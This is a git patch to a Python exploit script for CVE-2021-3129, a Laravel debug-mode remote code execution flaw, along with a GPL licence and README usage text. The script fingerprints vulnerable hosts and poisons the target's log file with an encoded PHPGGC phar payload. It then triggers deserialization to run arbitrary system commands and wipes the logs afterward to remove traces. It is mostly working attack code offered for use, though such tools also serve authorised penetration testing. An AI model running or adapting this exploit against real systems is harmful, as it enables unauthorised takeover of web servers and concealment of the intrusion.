From 0ab130912882b06c6a9df69017248f75a07b653e Mon Sep 17 00:00:00 2001 From: joshua-orderdaily Date: Tue, 19 Apr 2022 01:24:39 +0200 Subject: [PATCH] Comments/License/Chains --- CVE-2021-3129.py | 167 +++++++++--- LICENSE | 674 +++++++++++++++++++++++++++++++++++++++++++++++ README.md | 25 ++ 3 files changed, 832 insertions(+), 34 deletions(-) create mode 100644 LICENSE diff --git a/CVE-2021-3129.py b/CVE-2021-3129.py index efa3d57..bbb64f7 100644 --- a/CVE-2021-3129.py +++ b/CVE-2021-3129.py @@ -1,5 +1,6 @@ import argparse import random +import sys import requests import os @@ -8,6 +9,8 @@ import stat import json import pkg_resources +import re +import readline PURPLE = '\033[95m' CYAN = '\033[96m' @@ -20,41 +23,55 @@ UNDERLINE = '\033[4m' END = '\033[0m' -USER_AGENTS = ["Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15", "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-en) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/E7FBAF", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134", "Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"] +USER_AGENTS = [ + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15", + "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-en) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/E7FBAF", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36", + "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134", + "Mozilla/5.0 (Windows NT 5.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1" +] class Main: - def __init__(self, host, force=False, log_path=None, useragent=False): + def __init__(self, host, force=False, log_path=None, useragent=False, chain="monolog/rce1"): self.host = host self.force = force self.log_path = log_path self.useragent = self.random_useragent() if useragent else "Python" + self.chain = chain self.start() def start(self): print(DARKCYAN + f"[@] Starting exploit on \"{self.host}\"...") + # Check if vulnerable if not self.is_vulnerable(): print(RED + "[!] Host does not seem to be vulnerable. Use parameter \"--force\" to bypass this check.") exit() + # Ask user interaction print(BLUE + "[•] Use \"?\" for a list of all possible actions.") self.ask_command() def ask_command(self): - response = input(PURPLE + "[?] Please enter a command to execute: ") + response = input(f"{PURPLE}[?] Please enter a command to execute: {END}") response = response.lower() - if response == "?" or response == "help": + if response == "?" or response == "help": # Return list of commands self.cmd_help() - elif response == "exit": + elif response == "exit": # Stop script exit() - elif response == "clear_logs": + elif response == "clear_logs": # Attempt to clear laravel.log of target self.cmd_clear_logs() - elif response[0:7] == "execute": + elif response[0:7] == "execute": # Attempt to execute system command on target self.cmd_execute_cmd(response[8:]) - elif response[0:5] == "write": + elif response[0:5] == "write": # Attempt to write to the log file of target self.cmd_execute_write(response[6:]) else: print(RED + f"[!] No command found named \"{response}\".") @@ -79,25 +96,26 @@ def cmd_execute_cmd(self, cmd): print(DARKCYAN + f"[@] Executing command \"{cmd}\"...") payload = self.generate_payload(cmd, 16) - print(BLUE + "[@] Clearing logs...") + print(BLUE + "[@] Clearing logs...") # Step 1. Clear logs to prevent old payloads executing. if self.exploit_clear_logs().status_code != 200: print(RED + "[!] Failed clearing logs.") return print(GREEN + "[√] Cleared logs.") - print(BLUE + "[@] Causing error in logs...") + print(BLUE + "[@] Causing error in logs...") # Step 2. Cause a error to write phar file. if self.exploit_cause_error().status_code != 500: print(RED + "[!] Failed causing error.") return print(GREEN + "[√] Caused error in logs.") print(BLUE + "[@] Sending payload...") - if self.exploit_request(payload, 500).status_code != 500: + if self.exploit_request(payload, + 500).status_code != 500: # Step 3. Cause error with payload so payload in log file. print(RED + "[!] Failed sending payload.") return print(GREEN + "[√] Sent payload.") - print(BLUE + "[@] Converting payload...") + print(BLUE + "[@] Converting payload...") # Step 4. Change te log file into the payload in the log file. if (self.exploit_request( f"php://filter/read=convert.quoted-printable-decode|" f"convert.iconv.utf-16le.utf-8|" @@ -107,13 +125,13 @@ def cmd_execute_cmd(self, cmd): return print(GREEN + "[√] Converted payload.") - exploited = self.exploit_request(f"phar://{self.log_path}", 500) + exploited = self.exploit_request(f"phar://{self.log_path}", 500) # Step 5. Let host execute phar script. if exploited.status_code == 500 and "cannot be empty" in exploited.text: print(GREEN + "[√] Result:") result = exploited.text.split("")[1] print(END + result) - print(BLUE + "[@] Clearing logs...") + print(BLUE + "[@] Clearing logs...") # Step 6. Remove logs so phar is not downloadable/executable. if self.exploit_clear_logs().status_code != 200: print(RED + "[!] Failed clearing logs.") return @@ -123,25 +141,25 @@ def cmd_execute_write(self, text): print(DARKCYAN + f"[@] Writing to log file: \"{text}\"...") payload = self.generate_write_payload(text, 16) - print(BLUE + "[@] Clearing logs...") + print(BLUE + "[@] Clearing logs...") # Step 1. Clear logs to prevent old payloads executing. if self.exploit_clear_logs().status_code != 200: print(RED + "[!] Failed clearing logs.") return print(GREEN + "[√] Cleared logs.") - print(BLUE + "[@] Causing error in logs...") + print(BLUE + "[@] Causing error in logs...") # Step 2. Cause a error to write phar file. if self.exploit_cause_error().status_code != 500: print(RED + "[!] Failed causing error.") return print(GREEN + "[√] Caused error in logs.") - print(BLUE + "[@] Sending payload...") + print(BLUE + "[@] Sending payload...") # Step 3. Cause error with payload so payload in log file. if self.exploit_request(payload, 500).status_code != 500: print(RED + "[!] Failed sending payload.") return print(GREEN + "[√] Sent payload.") - print(BLUE + "[@] Converting payload...") + print(BLUE + "[@] Converting payload...") # Step 4. Change te log file into the payload in the log file. if (self.exploit_request( f"php://filter/read=convert.quoted-printable-decode|" f"convert.iconv.utf-16le.utf-8|" @@ -151,40 +169,45 @@ def cmd_execute_write(self, text): return print(GREEN + "[√] Converted payload.") - def exploit_clear_logs(self) -> requests.Response: + def exploit_clear_logs(self) -> requests.Response: # Clear entire log file return self.exploit_request(f"php://filter/read=consumed/resource={self.log_path}", 200) - def exploit_cause_error(self) -> requests.Response: + def exploit_cause_error(self) -> requests.Response: # Cause error by sending path parameter return self.exploit_request("AA", 500) - def random_useragent(self) -> str: + def random_useragent(self) -> str: # Get random user agent from constant list return random.choice(USER_AGENTS) def setup_phpggc(self): zip_path = "./master_phpggc.zip" - print(BLUE + "[@] Downloading PHPGCC from \"ambionics/phpggc\" GitHub repository...") + print(BLUE + "[@] Downloading PHPGGC from \"ambionics/phpggc\" GitHub repository...") + # Download repository zip request = requests.get("https://github.com/ambionics/phpggc/archive/refs/heads/master.zip", verify=False, allow_redirects=True, headers={"User-Agent": self.useragent}) - open(zip_path, "wb").write(request.content) + + # Unzip zip with zipfile.ZipFile(zip_path, "r") as zip_ref: zip_ref.extractall("./") - print(GREEN + "[√] Downloaded/extracted PHPGCC.") + print(GREEN + "[√] Downloaded/extracted PHPGGC.") - phpgcc_path = "./phpggc-master/phpggc" + phpggc_path = "./phpggc-master/phpggc" - print(BLUE + "[@] Updating PHPGCC execution rights...") - if os.path.exists(phpgcc_path): - st = os.stat(phpgcc_path) - os.chmod(phpgcc_path, st.st_mode | stat.S_IEXEC) - print(GREEN + "[√] Updated PHPGCC execution rights.") + # Setup phpggc execute permissions + print(BLUE + "[@] Updating PHPGGC execution permissions...") + if os.path.exists(phpggc_path): + st = os.stat(phpggc_path) + os.chmod(phpggc_path, st.st_mode | stat.S_IEXEC) + print(GREEN + "[√] Updated PHPGGC execution permissions.") + # Remove extracted zip file os.unlink(zip_path) def generate_payload(self, command: str, padding=0) -> str: print(DARKCYAN + f"[@] Generating payload...") + # Prepare command if '/' in command: command = command.replace('/', '\/') command = command.replace('\'', '\\\'') @@ -192,19 +215,23 @@ def generate_payload(self, command: str, padding=0) -> str: if '\'' in command: command = command.replace("'", "\'") + # Check PHPGGC if not os.path.exists("./phpggc-master/phpggc"): print(RED + "[!] Required binary PHPGGC not found.") self.setup_phpggc() + # Build payload os.system( - f"php -d'phar.readonly=0' ./phpggc-master/phpggc monolog/rce1 system '{command}' --phar phar -o ./tmp.phar") + f"php -d'phar.readonly=0' ./phpggc-master/phpggc {self.chain} system '{command}' --phar phar -o ./tmp.phar") + # Prepare/encode payload payload = open("./tmp.phar", 'rb').read() payload = base64.b64encode(payload).decode().rstrip('=') payload = ''.join(c + '=00' for c in payload) payload = 'A' * padding + payload payload = payload.replace("\n", "") + "A" + # Delete temporary files if os.path.exists('./tmp.phar'): os.unlink("./tmp.phar") @@ -214,6 +241,7 @@ def generate_payload(self, command: str, padding=0) -> str: def generate_write_payload(self, text: str, padding=0) -> str: print(DARKCYAN + f"[@] Generating payload...") + # Prepare/encode payload payload = base64.b64encode(text.encode()).decode().rstrip('=') payload = ''.join(c + '=00' for c in payload) payload = 'A' * padding + payload @@ -240,8 +268,12 @@ def exploit_request(self, value: str, expected_response: int = 200) -> requests. print( RED + f"[!] Exploit request returned status code {request.status_code}. Expected {expected_response}.") + # Check if host has patched vulnerability if "runnable solutions are disabled in non-local environments" in request.text.lower(): - print(RED + f"[!] Website has patched the vulnerability. Response: \"Runnable solutions are disabled in non-local environments. Please make sure `APP_ENV` is set correctly. Additionally please make sure `APP_DEBUG` is set to false on ANY production environment!\"") + print(RED + f"[!] Website has patched the vulnerability. " + f"Response: \"Runnable solutions are disabled in non-local environments. " + f"Please make sure `APP_ENV` is set correctly. " + f"Additionally please make sure `APP_DEBUG` is set to false on ANY production environment!\"") return request @@ -249,16 +281,20 @@ def is_vulnerable(self): print(DARKCYAN + f"[@] Testing vulnerable URL {self.host}_ignition/execute-solution...") request = requests.get(url=f"{self.host}_ignition/execute-solution", verify=False) + # Check vulnerable url by sending invalid GET request (only POST allowed) if request.status_code != 405: print(BLUE + f"[•] Host returned status code {request.status_code}. Expected 405 (Method not allowed).") if not self.force: return False + # Check if vulnerable url contains signs of Laravel + # TODO Check more specific details if "laravel" not in str(request.content): print(RED + f"[•] Host does not seems like Laravel. No \"laravel\" found in body.") if not self.force: return False if not self.force: print(GREEN + f"[√] Host seems vulnerable!") + # Check if log path defined in error response print(DARKCYAN + f"[@] Searching Laravel log file path...") found_path = self.find_log_path(content=request.content) @@ -269,6 +305,7 @@ def is_vulnerable(self): else: print(BLUE + f"[•] Laravel log found: \"{DARKCYAN}{found_path}{BLUE}\".") + # Check if laravel version defined in error response laravel_version = self.find_laravel_version(content=request.text) if laravel_version is not None: print(BLUE + f"[•] Laravel version found: \"{DARKCYAN}{laravel_version}{BLUE}\".") @@ -290,6 +327,7 @@ def is_vulnerable(self): return True def find_log_path(self, content): + # TODO Use regex search instead of split for line in str(content).split("\\n"): if "Symfony\\\Component\\\HttpKernel\\\Exception\\\MethodNotAllowedHttpException" in line: parts_one = line.split("in file ") @@ -307,6 +345,7 @@ def find_log_path(self, content): return None def find_laravel_version(self, content: str): + # TODO Use regex search instead of indexof if "window.data = {" in content and "};\n" in content: json_from = content.index("window.data = {") + 15 json_to = content.index("};\n") + 1 @@ -317,22 +356,82 @@ def find_laravel_version(self, content: str): return None +def validate_url(url: str) -> bool: # https://stackoverflow.com/a/7160778 + regex = re.compile( + r'^(?:http|ftp)s?://' # http:// or https:// + r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' # domain... + r'localhost|' # localhost... + r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' # ...or ip + r'(?::\d+)?' # optional port + r'(?:/?|[/?]\S+)$', re.IGNORECASE) + + return re.match(regex, url) is not None + + if __name__ == "__main__": + + # Credits print(PURPLE + BOLD + "Laravel Debug Mode CVE script") print(END + PURPLE + "[•] Made by: https://github.com/joshuavanderpoll/CVE-2021-3129" + RED) + print(END + PURPLE + "[•] Using PHPGGC: https://github.com/ambionics/phpggc" + RED) + # Arguments parser = argparse.ArgumentParser(description='Exploit CVE-2021-3129 - Laravel vulnerability exploit script') - parser.add_argument('--host', help='Host URL to use exploit on', required=True) + parser.add_argument('--host', help='Host URL to use exploit on', required=False) parser.add_argument('--force', help='Force exploit without checking if vulnerable', required=False, default=False, action='store_true') parser.add_argument('--log', help='Full path to laravel.log file (e.g. /var/www/html/storage/logs/laravel.log)', required=False, default=None) parser.add_argument('--ua', help='Randomize User-Agent for requests', required=False, default=False, action='store_true') + parser.add_argument('--chain', help=f"Select PHPGGC chain. Use \"--chains\" parameter to view all available chains.", + required=False, default="monolog/rce1") + parser.add_argument('--chains', help='View available chains for the \"--chain\" parameter', required=False, + default=False, action='store_true') args = parser.parse_args() + # Chains + chains = ["laravel/rce1", "laravel/rce2", "laravel/rce3", "laravel/rce4", "laravel/rce5", "laravel/rce6", + "laravel/rce7", "laravel/rce8", "monolog/rce1", "monolog/rce2", "monolog/rce3", "monolog/rce4", + "monolog/rce5", "monolog/rce6", "monolog/rce7"] + if args.chains: + print( + f"{RED}[•] Available chains (Updated: 19 April 2022):\n" + f"{YELLOW}- Laravel/RCE1 (5.4.27)\n" + f"{YELLOW}- Laravel/RCE2 (5.4.0 <= 8.6.9+)\n" + f"{YELLOW}- Laravel/RCE3 (5.5.0 <= 5.8.35)\n" + f"{YELLOW}- Laravel/RCE4 (5.4.0 <= 8.6.9+)\n" + f"{YELLOW}- Laravel/RCE5 (5.8.30)\n" + f"{YELLOW}- Laravel/RCE6 (5.5.* <= 5.8.35)\n" + f"{YELLOW}- Laravel/RCE7 (? <= 8.16.1)\n" + f"{YELLOW}- Laravel/RCE8 (7.0.0 <= 8.6.9+)\n" + f"\n" + f"{YELLOW}- Monolog/RCE1 (1.4.1 <= 1.6.0 1.17.2 <= 2.2.0+)\n" + f"{YELLOW}- Monolog/RCE2 (1.4.1 <= 2.2.0+)\n" + f"{YELLOW}- Monolog/RCE3 (1.1.0 <= 1.10.0)\n" + f"{YELLOW}- Monolog/RCE4 (? <= 2.4.4+)\n" + f"{YELLOW}- Monolog/RCE5 (1.25 <= 2.2.0+)\n" + f"{YELLOW}- Monolog/RCE6 (1.10.0 <= 2.2.0+)\n" + f"{YELLOW}- Monolog/RCE7 (1.10.0 <= 2.2.0+)\n" + f"{RED}from: https://github.com/ambionics/phpggc#usage" + ) + exit() + + # Validate before scan start + if args.host is None: + print(RED + "[!] Parameter \"--host\" is required.") + exit() + if args.host[-1] != "/": args.host = args.host + "/" + if not validate_url(args.host): + print(RED + "[!] Parameter \"--host\" is invalid. Please use a valid url (e.g. https://example.com/)") + exit() + + if args.chain.lower() not in chains: + print(RED + f"[!] Parameter \"--chain\" is invalid. Please check \"{sys.executable} {os.path.basename(__file__)} --chains\".") + exit() + requests.packages.urllib3.disable_warnings() - x = Main(host=args.host, force=args.force, log_path=args.log, useragent=args.ua) + x = Main(host=args.host, force=args.force, log_path=args.log, useragent=args.ua, chain=args.chain) diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..9891fca --- /dev/null +++ b/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. 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Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + "Laravel RCE (CVE-2021-3129) script" + Copyright (C) 2022 "Joshua van der Poll" + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + "Laravel RCE (CVE-2021-3129) script" Copyright (C) 2022 "Joshua van der Poll" + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/README.md b/README.md index 6367505..2ef4409 100644 --- a/README.md +++ b/README.md @@ -14,6 +14,25 @@ $ cd CVE-2021-3129 # python3 CVE-2021-3129.py --help ``` +## Options +``` +usage: CVE-2021-3129.py [-h] [--host HOST] [--force] [--log LOG] [--ua] + [--chain CHAIN] [--chains] + +Exploit CVE-2021-3129 - Laravel vulnerability exploit script + +optional arguments: + -h, --help show this help message and exit + --host HOST Host URL to use exploit on + --force Force exploit without checking if vulnerable + --log LOG Full path to laravel.log file (e.g. + /var/www/html/storage/logs/laravel.log) + --ua Randomize User-Agent for requests + --chain CHAIN Select PHPGGC chain. Use "--chains" parameter to view all + available chains. + --chains View available chains for the "--chain" parameter +``` + ## Example ``` $ python3 CVE-2021-3129.py --host http://127.0.0.1/public/ @@ -71,3 +90,9 @@ webpack.mix.js [@] Clearing logs... [√] Cleared logs. ``` + +## Future: +- [ ] Automatically determine PHPGCC chain if version detected while scanning. + +## Credits +- [PHPGGC](https://github.com/ambionics/phpggc) \ No newline at end of file